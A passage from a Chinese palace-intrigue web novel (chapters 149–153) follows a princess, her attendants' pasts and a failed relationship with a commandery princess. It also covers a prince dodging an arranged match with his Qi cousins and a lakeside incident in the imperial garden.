“我来是想问你一件事，你知不知道，菊若和平宁郡主是什么关系？”
听罢，松芜手中动作一顿。
“郡主来找您了？”
这件事，菊若自己在殿下面前向来绝口不提，凭借殿下和三王的关系，也不会主动接触郡主，那便只有一种可能——郡主找上门了。
149.当面出柜
晌午，醉仙楼中，人声鼎沸。
天气转凉，酒楼里新添了热气腾腾的羊肉锅子。
铜锅里烧着碳火，滚水中烫着肥瘦均匀的羊肉薄片，萝卜、山药、藕块、白菜码列齐整，还有今早刚供的新鲜豆腐，每人再配上一碗喷香的芝麻油碟。
半肥半瘦的羊肉轻轻一涮，蘸着麻酱入口，麻酱的浓香和羊肉的鲜膻，将热气吹散后，风卷残云般卷进腹中。
没一会儿，吃得人浑身上下都暖和起来。
“栾大人，不知可还合胃口？”
菊若亲自端着菜，来到雅间，座椅上的白胡子长者拿出帕子，抹了把嘴角的麻酱。
“丫头，你们这儿的锅子还真不赖。”
“能得栾大人这句话，我这心里真是安心，京中谁人不知您老人家在吃上的门道，有您这句话，咱们这羊肉锅子才称得上‘地道’呢。”
“哈哈哈你这丫头，你们家殿下让你来管着醉仙楼，还真有眼光。”
菊若难得害羞，端上一盘白里透亮的绣球蕈，说道，“这一道配菜，是我们殿下推荐的，特来请您老品鉴呢。”
“长公主殿下推荐，老朽必得赏脸。”
“先前大人在陛下那儿，为殿下选了那么一处好宅邸，殿下十分感念大人。”
栾太傅捋了捋胡子，笑道，“老朽不过是顺水推舟，倒劳殿下记挂了。”
一旁，跑堂的伙计从门外进来，凑上近前，同菊若耳语。
“掌柜的，郡主来了。”
菊若眉头微皱，小声道知道了，转头换上笑脸。
“那大人慢用，小女就先失陪了。”出了雅间的门，菊若吩咐道，“你们先准备着，我去看看郡主，一会儿送到地字间。”
说罢，转身上了楼。
前些日子，郡主三番两次请她过府，她都婉拒了，本想着消停了几日，却不想人直接杀来，还好她说过今晚带羊肉锅子回家，殿下没来醉仙楼，趟不进这趟混水。
地字间门外，郡主的大丫鬟香菱在门口候着。
瞧见菊若人过来，依旧神色冷淡，与以往不同。
菊若顿感蹊跷，试探道，“香菱姐姐，怎么郡主突然来了，也不提前知会我一声，我好准备好郡主爱吃的。”
“呵，今日我们郡主可是吃了好一顿闭门羹，眼下再吃，怕是没胃口！”
香菱说话夹枪带棒，也不知是对谁，菊若懒得跟她计较，面上仍摆出一副关心模样。
“怎么回事，谁人这么大胆。”
“还能有谁，那可是咱们大梁的长公主殿下，除了她，谁敢能叫郡主受此委屈。”
“！”
菊若心下一惊，也顾不上许多，慌张道，“郡主去找殿下了？！”
见她语气质问，香菱不满道，“你这是什么意思，王爷和陛下尚且是同胞兄弟，郡主还找不得长公主？”
“香菱姐姐误会了，”菊若找补道，“我只是担心郡主，她与殿下素无往来，贸然登门，怕不知如何应对。”
“哼，算你有良心，郡主在里面等着呢。”
菊若长吁一口气，按捺着烦躁。
进了雅间，郡主正一脸委屈的等着自己。
“阿莲！”
“听说您去长公主府了？”
“对啊，我去求她把你还给我，你不知她是如何对我！”
一提此事，李杉顿时上了头，今日在长公主府受的气，这会儿一股脑倒了出来。
“先是含糊其辞，后来还叫我同你商量，我瞧她就是假大度。
“明明嘴上说，我让你放弃这酒楼去做王府侍女荒唐，我看她才荒唐，好好的女子整日在外抛头露面，卖乖陪笑多不成体统。
“这酒楼做得再大，又有何用，不过就是一个吃饭的地方，众人给她长公主几分面子才来捧场，说的好像非你不可似的！”
李杉越说越气愤，仿佛大义凛然替她不平，全然不曾注意菊若的脸色，已然变得冷漠。
“阿莲，我待你如何你心里明镜一样，怎么做我的贴身侍女，还能委屈不成！
“横竖她承诺了，只要你愿意跟我，她就放你离开，我不信她敢当面毁约，你今日回去就告诉她，看她怎么办！”
“……”
“阿莲，你怎么不说话啊？”
菊若神色平静，宛如对一个生人。
“郡主，我们还是断了吧。”
九方赌馆，茶室内。
见松芜对此事毫不意外，明珠怀疑道，“听你这意思，你知道她们的事？”
“没什么，不过女孩子家关系近些。”松芜喝了口茶，徐徐道，“大约是菊若素日哄人话说的多，郡主给当真了。”
他并未将菊若和郡主的苟且之事全然抖搂给殿下，一来脏了殿下的耳朵，二来以那个疯婆子私下的德行，若她知道自己告密，说不定还真会提刀来同归于尽。<
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p>“也是……”明珠犹豫道，“可郡主态度有些不同，你说，她会不会是真的暗恋菊若？”
“咳！”
松芜呛了口茶水，忙用袖子遮掩。
他们从小混迹于烟花柳巷，自然知道有些人口味不同，世家大族中难免有些离经叛道之辈，男女不拘，故而青楼在培养新人时，教的花样也多些。
只是没想到，殿下也懂。
“您多虑了。”
“是嘛？”
“您为何会这么想，是郡主说了些什么吗？”
按理说，此类偏好皆为隐秘，纵然郡主年轻气盛，也绝不会轻易示人，给三王府留下此等丑闻。
“她就说她们私交颇深，可我觉得不对劲。”
“怎会。”
“她让我把人‘还给她’，这说法太暧昧了。”
“……”
自求多福吧，妹妹。
“你们都已经大了，又在外面做事，私下与什么人来往，原本我是不做约束的。
“只是你也知道，我既已决定与三王抗衡，我和他之间便不会有善终，你们同三王府的人若交好，难免受我波及。”
“小姐。”松芜摇了摇头，注视着眼前之人，说道，“于我们而言，没有谁比您重要。”
即便松芜这样说，明珠还是难以安心。
她不想因为自己束缚他们，也害怕将来……将来会不会有一天，他们也和兰萤一样，因为她的疏忽过失，落得那般下场。
自从兰萤身故，除了松芜他们之外，再没有人在她面前提起过兰萤，就连她回宫，身边的宫人也都绝口不提，小宫女曾偷偷告诉她，是梅辛事先传信叮嘱过她们。
身为兄姐的松芜和菊若，在得知此事后，对她也是细心宽慰。
可越是如此，悔意，如蚁般蚕食，无数次密密麻麻地涌上心头。
明珠忽而想起，在她决意赶赴戎狄后，兰萤在天牢对她说的那句话。
——所有报应我来承担，您一定要平安回来。
过去兰萤对她说过的话，竟都一一应验，而她所谋之事，要付出的代价，也会一次比一次沉重，那身边这些人，又将如何幸免。
“小姐。”
一双白净的手递来，克制地停在近前，只轻触着她的指尖，明珠才意识到，自己失神了许久。
松芜看出她的不安，并没有急于安慰，而是问道，“您还记得在听筠轩那次吗？”
150.殊途不同归
当时明珠出于好奇，带着松芜来到听筠轩，本想见一见自己的绯闻对象，临走前被齐二缠上，齐二对松芜出言不逊，极尽羞辱。
回宫之后，松芜把自己关在房中许久，直到晚膳也未曾露面。
入夜，下起阵雨，雷霆喧嚣。
明珠提着食盒，来到松芜房前，见房内的灯火微弱，打量着他应该还没歇下，于是在廊下喊着松芜。
听到呼唤声，里面传来一阵悉悉索索的动静，隔了好一会儿，门从里面打开，松芜站在门口，潦草地披着衣服，浑身散发着皂角的清香。
“殿下。”
松芜用帕子捂着脸，声音听上去有些虚弱。
“我看你晚上没吃饭，怕你饿着。”明珠瞧他如此，问道，“怎么了，是不舒服吗？”
松芜摇了摇头，下半张脸被帕子掩着，看不清脸色。
“这是怎么了？”
“无妨，方才不小心磕到了。”
“要不要紧啊，让我看看。”
明珠伸出手，想要查看伤势，对方却往后躲闪，避开了她。
“殿下，您身份尊贵，我这样肮脏的人，您还是……不要靠近为好。”
“你这是什么话！”
听到这话，明珠有些恼了，上前一步，直接抓住他的手，不想他手上的热度，竟烫得不寻常，仔细看手还有些红肿。
“手怎么这么烫。”
“……许是沐浴久了些，不曾留意。”
屋内雾气蒸腾，像是刚沐浴过，可怎么用这么烫的水？
“松芜，”明珠语气放缓，商量道，“让我看一眼你的脸好吗，我就看一眼。”
即便她正握着他的手，依旧就感受他微微发力，攥着帕子挡在脸颊上，固执地不肯挪开。
“殿下，时候不早了，这雨下得大，您快些回寝殿吧。”
说着婉拒的话，声音却含着委屈。
明珠当即没说什么，将食盒递给他转身回去。
过了没多久，松芜的房门再次被敲响，他打开门，明珠站在门口，手中是一盒治疗烫伤的獾油和一罐止血化瘀的伤药。
明珠见他还捂着脸，没有再要求查看。
“松芜，我知道你怕我担心你，不想给我添麻烦，但我既然把你们带回来，这里就是你们的家。
“以后，不要说那些自轻自贱的话，我会伤心的。”
闻言，松芜紧咬着下唇，犹豫良久，像是鼓足了勇气，才将手中的帕子缓缓放下。方才为了不被殿下发现，他慌乱涂抹了一层止血的药粉，眼下被水汽熏蒸，面糊似的挂在脸上。
明珠这才看见了，在他的脸上，那些渗着血渍的抓痕和擦痕，狞狰得像要撕烂面容。
“这——”明珠惊愕道。
倾盆大雨中，松芜身子颤抖着，不断抽噎，泪水失禁般滚落，无助地控诉。
“他，他碰了、我的脸。”
明珠猛然惊醒，一把抱住他发抖的身子。
“我知道了，别说了，不用说了。”
她早该察觉的，齐二说那些腌臜话的时候，她就该想到的！
“都怪我。”明珠懊悔万分，“我不该去那儿的。”
松芜的脸埋在她的肩头，就这样，在雨声中哭了许久。
这具身子，他原想洗干净的……
他拼了命地擦拭，用巾帕、用毛刷，甚至想用刀一片片割下来。
如此，就能再长出干净的皮肉。
直到浴盆内弥漫起血腥气，他才惊觉，清澈的水早已泛红，他看到镜中的自己，仿佛吸了血的妖魔。
屋外风雨烈，犹如厉鬼嘶鸣，树影婆娑，枝条抽打着窗棂，搅扰安宁。
除了被抓伤的脸颊，松芜整个后背和前胸遍布嶙峋的红疹，像是被砂纸刮过一样，有些被指甲抠出血肉，结了浅浅的痂。
“殿下，别看了，无碍的……”
松芜攥着衣服的手，被另一只手覆盖，他抬起头，见她拧着眉望向窗影，没有看自己。
“松芜，今后你若有什么不愿告诉我，我不问，也不会怪你。
“只是……身上如果有伤，你一定记得要抹药，不能任由它们溃烂，别人会心疼。”
她的声音很轻，但还是能听出一丝哭腔。
松芜说不上来当时的心情，惶恐、惊喜、自卑、畏惧……
恍惚间，他又回到了那个肮脏的地方，被毒打、咒骂，藏匿在阴暗潮湿的角落里，独自擦拭着伤口。
路过的人投来同情的目光，每当这时，他就会冲对方吐口血痰，看着人骂骂咧咧地走开。
那些人，进来这个淤泥池，偏要装成悲天悯人的菩萨，一会儿同情妓女，一会儿同情落魄下人。
却也不是来普渡众生，而是来寻欢作乐，以为说几句好听话，别人就会感恩戴德，殊不知自己寒酸地连顿饭钱都掏不起。
后来，他遭遇了齐二的迫害，也曾不抱任何希望，反正这一辈子，他要烂在这里了。
直到他遇见了，眼前这个人。
此刻，她为自己保留着最后的尊严，只是平静地望着远方，外面喧嚣的风袭来，这间屋子却变得格外安逸。
他盯着两人交叠的手，良久。
“嗯。”
那时，他就知道，回不了头了。
殿下或许有一天
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会后悔救了自己，可他再也不会放手了。
令他始料未及的是，短短北境一行，世事俱变。
殿下也变了，从前最爱和他们玩闹的人，话少了，笑容总是浅浅的，连白发也长了出来。
终究，人都会经历一些难以面对的事，兰萤的死，对于殿下而言，不仅是痛苦和伤怀，还有深深的自责、悔恨。
那滋味儿不好受，它就像是用刀子剜下来的肉，想起一次，就会疼一次。
“您对我说过，如果有伤，不能任由它们溃烂，别人会心疼。”
被命运鞭笞过的人，即便不善良，也不会期望所爱之人经历这些苦难。
“放过自己吧，这一切，不该由您独自承担。
“我们虽追随殿下，可路是自己选的，倘若没有您从鬼门关把我们救出来，我们兄妹几人，就无人能幸免。”
如果他没能找到殿下，小妹会在马厩中高烧病死，何莲会和自己落得同样的下场，日复一日，犹如枯朽发烂的树干，亦或是，轰轰烈烈一把火，又悄无声息地化为灰烬。
“您要走的路，我们本无福相伴，只是出于私心，赖在您身边，今后吉凶祸福，不过是缘分有余。”
松芜看着明珠，神色坚定。
“无论发生什么，您都不要有所顾忌。”
醉仙楼，地字号间内。
啪——！
一个巴掌声清脆地打在脸上。
李杉呼哧呼哧地喘着气，显然被气得不轻。
“打也打了，该消停点了吧。”
菊若用舌尖顶了顶脸颊，露出本性。
今日之事，根源在她自己，若她不和郡主说清，寻了其他托词，郡主多半不会甘心，仍要在殿下面前闹个不休。
而李杉方才一听阿莲要和自己断了，甘愿放下身段，多番挽留。
不想对方来了一句——你越界了。
“你当我是什么？！”李杉怒道，“供你消遣的玩意儿吗？！”
外面候着的香菱，听到动静不对劲，敲了敲门，想要询问里面的情况。
“郡主，发生何事了？”
“滚开！”
李杉恶狠狠地盯着菊若，却不想别人此时插手进来。
外面没了声音，李杉上前几步，逼近菊若，两人抵在床柱旁，没了从前的暧昧缱绻，现如今，一个咄咄逼人，一个冷漠如霜。
“你过去说的那些话，都是哄骗我的吗？”李杉红了眼睛，质问道，“你说要同我一生一世，即便我嫁了人，你也愿终身不嫁，陪在我身边，这些你都忘了吗？！”
菊若云淡风轻道，“郡主，床上的话如何当真。”
151.皇子也难逃催婚
菊若一夜未归，派人回来送了铜锅羊肉，顺带着传了话，说酒楼事忙，最近她就在醉仙楼留宿，暂不回府。
今日一大早，有远客登门。
栾城的果农们随着商船南下至京，为长公主府送来了几箱秋梨，果子色泽金黄，个头饱满硕大，一咬下去，汁水迸发，梨肉绵软。
“今年的秋梨，怎么下来的这么晚。”明珠啃着秋梨，问道。
眼见都十一月份了，往年京中十月初就上市了。
“栾城还好吗？”
“好着呢，就是今年天干，果子结得晚了些。”果农们回道，“大家记挂着长公主殿下您，特地挑了最好的一批送来。”
因明珠抄没方太守和庄府平账，百姓当初买树苗的欠款一笔勾销了。
此外，鸿运楼由庄粟接管后，按明珠的主意新添了一份保单，额外收取保费，一旦货物损失超过两成，则由鸿运楼赔付果农应得的部分收益。
栾城太守新官上任，自然清楚当初明珠在栾城的所作所为，短短两日，她以雷霆之势将此地搅弄得天翻地覆。
高官落马，犹按律例处置，而鸿运楼一夜之间尽被清理，只留下一地的尸身，新任太守胆颤之余，做事亦不敢有丝毫懈怠。
栾城安定后，除了朝廷的奏报，新太守还私下专门递送了一份到长公主殿下手中，不仅是请她检阅之前的各项安排，也是递交投名状。
栾城地处水路枢纽，自然有它独到的价值，所以明珠回信，鼓励他好好干。
这回明珠听到果农们的答复，也终于放下心来。
“等会儿你们把这几箱结的钱拿走。”
“诶呦，这可使不得啊殿下，不过几箱土产，若是叫乡亲们知道我们收了您的钱，怕是跟我们没完！”
说着，几个果农连连告辞，生怕晚走一步，就真要带着长公主殿下的钱回去，那还不得被栾城百姓们指着鼻子埋怨。
明珠无奈，只得收了几箱秋梨，叫他们回去问果农们好，辛苦他们此番费心了。
箱中金黄的秋梨堆摞着，明珠挑了几个洗净摆盘，剩下的皆抬进厨房，等着煲梨汤喝，如今天干，梨汤止咳润肺，功效甚好。
廊下，一个身影走近。
“长姐又吃独食。”
“你还真是有口福。”说着，明珠朝来人丢了个梨子，“刚送来的栾城秋梨。”
“栾城？”李凌霄接过，打量一番说道，“看来他们是报答长姐恩情，这梨瞧着比宫里的还好呢。”
“嘘，”明珠朝他噤声，“让你吃就是同伙分赃，回宫之后别把我卖了。”
“那这一个，可堵不上嘴。”
“知道了，再给你带一箱回去。”明珠无奈道，“你这一大早的，来干嘛？”
“怎么，臣弟不能来？”李凌霄反问道。
答非所问，瞧他这样子，像是有事隐瞒。
“你这三天两头的出宫，改天见了父皇，不如让他也早些给你立府，省得在宫里憋闷。”
谈及立府，李凌霄神色淡淡。
“快了。”
二十而冠，始学礼，立府就意味着成人，封地、臣属、姻亲，更为繁琐的事务沿着冠礼的链条铺展开来，难免令人感到沉重。
李凌霄瞧着眼前之人，她倒是没心没肺，浑不在意。
“臣弟立府后，恐怕就难有时间来见长姐了。”
这时，门房传来通报，说惠妃娘娘宫里的总管高公公来了。
明珠立马看向罪魁祸首，“来找你的吧。”
李凌霄不言语，自顾自吃着梨。
那位高公公进来一问安，果不其然逮到正主。
“二殿下！可让奴才好找，您以为藏在长公主殿下这儿就万事大吉了吗？”
这事到临头二皇子殿下找不见了，天晓得他有多心急，一路从宫里追到宫外，所幸长公主府离皇宫也不远，没费什么功夫。
明珠打量起李凌霄，狐疑道，“你今天有什么事？”
“无事。”李凌霄回道。
高公公一听就急了，忙道，“哪里无事，您说得轻巧，惠妃娘娘宫里就等着您露面呢，您再不去，难不成让娘娘亲自来寻您吗？”
“啊？”明珠抗拒地摇了摇头，“那可不行，你到底有什么事啊？”
“母妃说，我年纪不小了。”
“给你——相亲？”
见他点头，明珠一时语塞，不知该赶他走，还是该收留他。
难怪李凌霄方才一提起成年立府就兴致缺缺，合着正被催婚呢，也不知都有谁家的女儿。
李凌霄迎着她的目光，了然道，“长姐是在想，母妃给我相看的是哪家女儿吗？”
“你有读心术？”
李凌霄莞尔一笑，问道，“长姐难道猜不出？”
“？”
这她上哪儿知道，她跟惠妃又不熟。
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>“齐家。”李凌霄无奈道。
“啊？！”明珠瞪大眼睛，“齐家，你舅舅家的女儿？”
他们不是近亲吗？！
“长姐为何如此讶异？”
“……”
过去确有近亲结婚，在这儿也不算稀奇，尤其是齐家为笼络李凌霄，让自己家的亲生女儿嫁过来，倒也无可厚非。
可若是李凌霄和齐家联姻，将来遇事便更不可能持身中正，大义灭亲，既然如此，至少不能是齐二家，否则那艘待沉的破船，迟早把李凌霄一起拖下水。
“真不想去？”
“不想。”李凌霄坦然道，“今日不过是母妃借口关心晚辈，将齐家的几位表妹们请到宫中，臣弟到场与否，都没有妨碍。”
一旁，高公公正欲开口，明珠抬手拦下他。
“算了，劳烦公公回去说，长公主把二皇子叫走了。”明珠无谓道，“反正我得罪惠妃的事也不止这一件，想躲就躲吧。”
李凌霄下巴微昂，“听到了吗。”
高公公目光徘徊在两人间，为难道，“这……”
原本是齐侯家那两位小姐，在宴席上向惠妃娘娘提及二皇子殿下，娘娘哪里不明白姑娘家的心思，立刻着人去传殿下。
宫人们在宫中找寻无果，又怕惠妃觉得殿下故意不露面，事后责罚殿下，因此才求到他这儿，他一猜就知道，殿下不在宫里，必定是去了长公主府，才紧赶慢赶追来。
“这娘娘和齐家诸位小姐都等着殿下，殿下不去，实在是不妥。”高公公压低声音，说道，“殿下，娘娘若是知道你不在宫中，来了长公主府，只怕又要……”
李凌霄瞥了眼对方，警告他不要多嘴。高公公面露难色，进退两难间，李凌霄的随从赶到府中，手里提着两个食盒。
“殿下，永味斋的点心买来了。”
李凌霄这才从容起身，对高公公说道，“我出宫是为了买母妃爱吃的点心，高公公莫要会错了意。”
“是、是。”高公公抹了把汗，赶忙应承道。
明珠无语，李凌霄这人来时就替他自己找好了遮掩，分明打定主意要回去，何必搞这一出。
“等一下，”明珠灵光一闪，问道，“齐家的女儿都会去吗？”
“应是如此，同是舅舅家的女儿，母妃不会厚此薄彼。”
那就是说，齐行遥也有可能在场。
“霄崽，要不我和你一起去吧。”
152.公园相亲角
高公公那边先行回宫禀告，派了身边的小太监紧随，生怕二皇子又跑了，当面叮嘱小太监，一定要将二皇子殿下护送回宫。
若是晚了迟了，惠妃娘娘恐要怪罪下来，连带着他们这些寻人的宫人，都要被定个办事不利、怠慢贵客的罪过，更别说，本来表小姐们进宫就留不了太久，若临走没见着人，他们都得挨板子。
明珠着人去备马车进宫，李凌霄就这么不紧不慢地陪在一旁，身后小太监急得冒汗，却又不敢催促，进退两难，只得诚惶诚恐地踱步跟着。
“长姐在齐家有相熟之人？”
“没有。”明珠话锋一转，说道，“以后保不齐会有。”
“长姐想要结识谁，不如由我来为长姐引荐。”
“怎么，”明珠戏谑道，“想在你表妹们面前卖个好？”
“臣弟分明是在长姐面前卖好。”
“嘁，我可受用不起。”明珠瞟了眼小太监，对李凌霄说道，“要不你先回宫，别让人都等着你。”
李凌霄笑意一顿，随着她方才的视线看过去，脸色也随之冷了下来，小太监心头一紧，急忙埋下头，额头汗珠冒不停。
“看来你师父留你，是催我啊。”
闻言，小太监急告罪。
“奴才不敢！求殿下恕罪！！”
见小太监被吓得双眼紧闭，身子直打哆嗦，明珠轻推了下李凌霄。
“别欺负人。”
李凌霄叹了口气，没再说什么，吩咐小太监去牵马，小太监立刻跟得了圣旨似的，急火火跑向马厩。
“长姐体恤下人，就不体恤我。”
“什么话，你要是不想相亲，大不了一会儿我做这个坏人，帮你搅黄就行了。”
横竖自己如今在宫外住，得罪了惠妃就溜之大吉，她又不能追出宫来。
“此话当真？”李凌霄好奇道，“长姐打算怎么做？”
明珠朝他勾了勾手，见状，李凌霄俯身凑近过来，明珠伸出手，朝着对方的脑门儿轻轻一弹，同样的招数又上当，惹得李凌霄气恼地瞪着她。
明珠莞尔，回道，“反正不会叫你今天去拜堂。”
红砖瓦墙内，御花园秋意正浓。
亭台中，窗棂框出一面秋景，枝条低垂着头，绯红与青绿的叶色渐变，宝石般映着光，荡漾在湖面上，拨开涟漪，找到了石岩下红白相间的锦鲤。
银铃般的笑声回荡，几个靓丽的身影出现在秋景中，几个少女簇拥着一位华贵的妃子，从鹅卵石路上结伴走来。
明珠倚在窗边，将园中众人收入眼底。
人群的最后，站着一个“异类”。
那人身姿挺拔，步履矫健，走起路来不含胸驼背，因此即便站在人后，也显得高出一头。
可以看出来为了进宫，家里特地给她打扮了一番，可她似乎并不习惯飘袖的衣裙，站定时手并在身子两侧，规矩又拘谨。
嘴唇上的胭脂不知刮蹭在何处，剩下外面一圈颜色鲜艳，她的皮肤并不白皙，敷着和她肤色格格不入的脂粉，就像她这个人和宴会一样别扭。
她没有和其他人聚在一起说话或赏景，周遭的欢笑仿佛都与她无关，她时不时扫视四周，宛如守卫。宫人们见人下菜碟，许是觉得以此女之资，待选无望，便有意无意地忽视她，显得她在人群中格外孤单。
“喵~”
脚边，伊丽莎白头蹭着膝盖，惹得发痒，明珠揉了揉那颗硕大的毛绒脑袋，这些时日不见，越发粘人了。
欢声笑语停了，明珠看向窗外，原来是玉树临风的皇子登场。
“真是讲究。”
李凌霄从自己宫里换了衣裳，姗姗来迟。
那几个小姑娘神情出奇一致，脸颊映着骄阳红叶，染上粉嫩的红，目光含羞，前面有两个大着胆子先行回礼，后面几个才随着小声附和。
惠妃站在两方中间，主动一一引荐，最靠前的那两位，便是齐二家的女儿——齐慧雯和齐念雪，当初为了合李凌霄的名讳，特地起了同偏旁的“雯”、“雪”。
这两位女孩子很是出挑，身上穿的石榴裙刺绣精巧，那几株绣花栩栩如生，足见昂贵，家中父亲承袭爵位，有着侯爵之女的名号，下巴都比其他人抬得高些。
齐三家有两名女儿，行头看起来比齐二家的女儿差了不少，听闻齐三好赌，他家大概是这几家里最不宽裕的，即便把压箱底的首饰都戴了出来，可发髻旁并不配套的小巧珠花，还是略显简薄。
还有最后一位，果不其然，那人就是齐四家的独生女儿——齐行遥。
齐四子齐宣，是个名不见经传的平庸角色，既不见他有何功勋建树，也没听他有何恶劣行迹，虽为齐家小透明，倒是不多见的老实人物。
而其女齐行遥，站在那里，就如此与众不同。
不像其他女子有着莹润饱满的肌肤，齐行遥的脸颊偏瘦削，棱角分明，和人说话时，总是直视着对方，即便面对皇子，也毫无羞怯畏惧之意。
不过，瞧惠妃的态度，似乎对齐行遥并不在意。
“差不多，是时候了。”
她可没忘了自己的承诺。
手牵着绳子，明珠领着伊丽莎白出了亭子，走向对面的公园相亲角，心中盘算着待会儿该如何行事。
还未等她走近，尖叫声就在人群中爆发。
“有野兽！！！”
“啊啊啊啊啊——”
几个小姑娘乱作一团，宫人们还未反应过来，就听见扑通一声。
“有人落水了！”
湖水虽不深，却也能没过脖颈，落水之人惊慌失措，扑腾着呼救，呛了好几口水。李凌霄刚想下水，却被赶上前的齐行遥拦住，她并未多言，干脆利落地跳进水中。
“快来人，把她们拉上来！”
不多时，齐行遥背着人游近岸边，惠妃指挥着宫人们将两人捞了上来。
被救上岸的齐慧雯成了落汤鸡，浑身湿透，头上钗环脱落，发髻散了一半，头上和身上黏着腥臭的水藻，先前有多光鲜，眼下就有多狼狈。
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“没事吧，雯儿，要紧吗？”
“咳咳，娘娘，无碍的，咳咳……”
“姑娘家身子金贵，千万别着了凉，快去宣太医。”
把人撞下水的齐念雪也凑上前，满脸关切。
“没事吧姐姐！可把我吓坏了，你怎么不躲开呀？！”
虚弱之余，齐慧雯愤恨地剜了一眼对方。
这丫头素日胆子大得很，更何况那畜生离得八丈远，她就装作受惊的样子，不停往自己这边挤，自己不得已被逼退，这才没注意到脚下，不慎跌进湖中。
她分明就是故意，想让自己在众人和二皇子殿下面前出丑！
见对方假惺惺地贴在跟前，十分关心自己的虚伪模样，齐慧雯气得牙痒，偏她还要顾忌在场诸人，不便撕破脸。
“咳咳，我没事，妹妹才是，吓坏了吧。”
这时，惠妃兴师问罪的声音响起。
“是谁养的畜生？！”
明珠叫人将伊丽莎白牵远，自己来到众人面前。
“我家小猫惊扰诸位了，真是抱歉。”
“原来是明珠长公主。”
一瞧见长公主，惠妃就心气不顺。
当初，若非皇上执意娶许今欢那个女人为妻，她又怎会居于妾妃之位，低人一等。
尤其这些年，长公主仗着陛下的宠信，愈发狂悖无礼，不仅当众羞辱齐侯，更是明着和齐家作对。
齐侯曾言，自打长公主从北境回来，就将在京的齐家下属官职一一罢免，还在陛下面前妄言朝政，说什么能者居其位，让北境那群粗野武夫取而代之，齐家因此折损不少亲信。
对于这个先皇后唯一的女儿，惠妃打心底里生厌，眼见长公主养的畜生惊了自家侄女，惠妃面露不悦，话中责难之味尤重。
“你就这么将野兽带出来，畜生有眼无珠，若是伤了人如何是好。”
“野兽伤不伤人，我不知道，不过，人伤人也未见怪。”
明珠看向齐念雪，对方心虚地躲开视线。
刚刚她在对面看得清楚，齐念雪早就注意到了她这边牵着的豹子，却是偷瞄了眼身后的人和湖岸后，才发出叫嚷惊到众人。
“长公主此言何意。”惠妃不满道，“难不成你要说，人是被故意推下水的？”
一旁，齐念雪听得心惊胆颤，方才她没有认出此人就是长公主殿下，怕自己露出什么马脚，若当下被拆穿，她大可矢口否认，却又怕因此得罪长公主。
思来想去，齐念雪摆出一副懂事姿态，上前劝道，“娘娘，实在不怪长公主殿下，是我自己胆子小，连累了雯姐姐，这湖水寒冷，姐姐身子又弱，不如先让小女带她去更衣。”
说着，齐念雪余光瞥向明珠，明珠见状，笑而不语。
人群中，看了许久好戏的李凌霄也站出来解围。
“母妃，御花园人多眼杂，表妹们又受了惊吓，不如母妃先带人回宫。”
惠妃这才罢休，瞥了眼明珠后，带着人乌泱泱离开。
153.不灭的野心
无人问津的岸边，齐行遥一言不发地站在人群外，拧干浸水的衣服后，才发现随身带的帕子早已湿透，便用袖口胡乱抹了两把脸。
“用这个吧。”
眼前递来一张干净帕子，齐行遥抬头，是明珠长公主。
“多谢。”
脸上的脂粉被擦净，齐行遥原本的肤色偏深，带着麦色的棕，面上有几点黑痣，一点在颧骨上，一点在脸颊。
离得近时，便能发现齐行遥身上习武的痕迹很重，她的手掌宽大，骨节分明，手心和虎口上满是老茧，不是少年时遗留下的，更像是经年累月的磨砺。
“你就是齐行遥？”
“是。”
鼻尖还残留着幽微的茉莉香气，手中的帕子却被水藻和淤泥弄脏，还有一抹口脂的胭红污渍，齐行遥手指微蜷，攥着手帕，有些难为情归还。
“殿下，认识我？”
“今日认识，不算迟吧。”
见她的衣角滴滴答答湿着水，明珠提议道，“不如跟我回宫，换件衣服。”
宫人们簇拥着那些人已然走远，没人注意到这儿还有个落单的，齐行遥望了眼走远的人群，朝明珠点了点头。
这时，一直在旁的李凌霄终于按捺不住。
“长姐，就这么把我丢下了？”
眼睁睁见她撩了人，这一会儿的工夫，就行云流水地把人拐回宫。
明珠才发现他也在，摆了摆手道，“这戏都唱完了，你还留在这儿看什么，该干嘛干嘛去。”
一大清早地找上门，不就是为了叫她配合他，挡了这次相亲，他不想娶齐家的女子，同样，她也不希望。
这下好了，得来全不费工夫，今日折腾下来，李凌霄肯定是不用见那些表妹了。
寒风刮过，吹起战栗。
连明珠不禁打了个颤，齐行遥却浑然无感。
“走吧，别着凉了。”
说着，明珠拉过齐行遥的手，干脆离开。
长公主宫的宫人们得信儿，已备好了热水和干净衣服。
厢房内，有生人在旁不自在，齐行遥便叫侍候的宫人们散去，独自在房中，她从木盆中舀出些干净的水，将长公主的手帕洗净，晾在一旁，才宽了衣沐浴。
四周雾气升腾，浴盆中的香料用的同样是茉莉花香。
“好香。”齐行遥喃喃道。
随后猛地回神，羞耻地将头埋进水中。
与此同时，惠妃宫中。齐慧雯在宫人的簇拥下，享受了高规格的沐浴，从脱衣服到擦洗都是由宫人伺候的，数十种香料和花瓣熏得人比花娇。
“大小姐养得极好，肤如凝脂，手如柔荑，说的便是大小姐您呀。”
耳边，宫女的奉承话不断，齐慧雯极为受用，心里那点委屈很快烟消云散。
泡完擦净后，还要抹上一层润肤的蔷薇露，宫女们重新替她梳发上妆，为着补偿她此番落水受惊，惠妃特地送了一套描金绣彩的头面首饰。
虽说在众人面前失态，又错过了和二皇子殿下说话的机会，但其他人也没落得什么好，反倒是叫她因祸得福，那些庶妹们眼红都眼红不来。
“娘娘。”
焕然一新的齐慧雯来到众人面前，果不其然，惹得众人艳羡。
齐念雪眼中的妒嫉险些藏不住，惠妃娘娘为作弥补，送了她们一人一只翡翠镯子，可瞧齐慧雯这一身，显然将她们都比了下去。
上位的惠妃看着齐慧雯，面上流露出满意，亲切将她叫到跟前。
“好孩子，先让太医为你诊诊脉。”
齐慧雯瞟了眼几个庶妹，羡慕、嫉妒皆具，她满心得意，表面上乖顺地应承着。
“娘娘，明珠长公主派人送来了东西，说是给几位小姐的赔礼。”
听见宫人传报，惠妃皱起眉头，长公主给自己捅了这么大篓子，赔礼也不亲自来。
“什么东西？”
“是几枚宝石戒指。”
几人竖起耳朵一听，脸上纷纷露出欣喜，尤其是齐三家两个女儿，三房不宽裕，难得给她们置办拿得出手的首饰，今日进宫惠妃娘娘本就赏了不少好东西，现下长公主殿下又送。
“长公主说，留了行遥小姐在宫中，稍后派人送她回来。”
众人一听，这才发现少了一人。
几个小姑娘面面相觑，四叔家的这个女儿从来特立独行，性子闷不爱说话，儿时还曾拜于大统领门下学武义，整日弄得脏兮兮，她们都不怎么和她来往。
曾几何时，她们心中都多少有些羡慕她。
齐行遥是四叔家的独女，平日里，各房家大人总唏嘘着四房是个窝囊妻管严，只有一个丫头片子，断了四房的香火，绝了后。
